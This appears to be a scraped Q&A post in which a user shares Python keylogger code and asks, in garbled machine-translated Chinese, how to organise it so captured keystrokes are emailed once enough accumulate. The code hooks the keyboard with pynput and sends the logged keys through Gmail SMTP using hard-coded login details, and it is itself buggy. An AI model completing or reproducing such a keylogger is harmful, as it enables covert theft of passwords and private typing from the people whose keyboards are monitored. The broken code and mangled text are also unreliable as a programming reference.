-2
from pynput import keyboard
import smtplib
events = []
def on_press(key):
try:
('{0}'.format(key.char))
events.append(key)
print(events)
except AttributeError :
print('{0}'.format(key))
def on_handling():
global events
if len(events) == 1:
on_send()
else:
on_press()
def on_send():
server = 'smtp.gmail.com'
port = 587
smtp = smtplib.SMTP(server,port)
smtp.ehlo()
smtp.starttls()
smtp.login("[email protected]","ihacktheworld2017")
smtp.sendmail("[email protected]","[email protected]",events)
smtp.close()
events = []
with keyboard.Listener(on_press = on_press) as listener:
listener.join()
on_handling()
1.本与pynput库 我想去写所有事件到一个列表或者一个文件一个键盘记录 3.当达到信件具体LEN其发送到邮件 问题是与organzing的代码,并与该事件= []变量键盘记录python3与SMTP feauture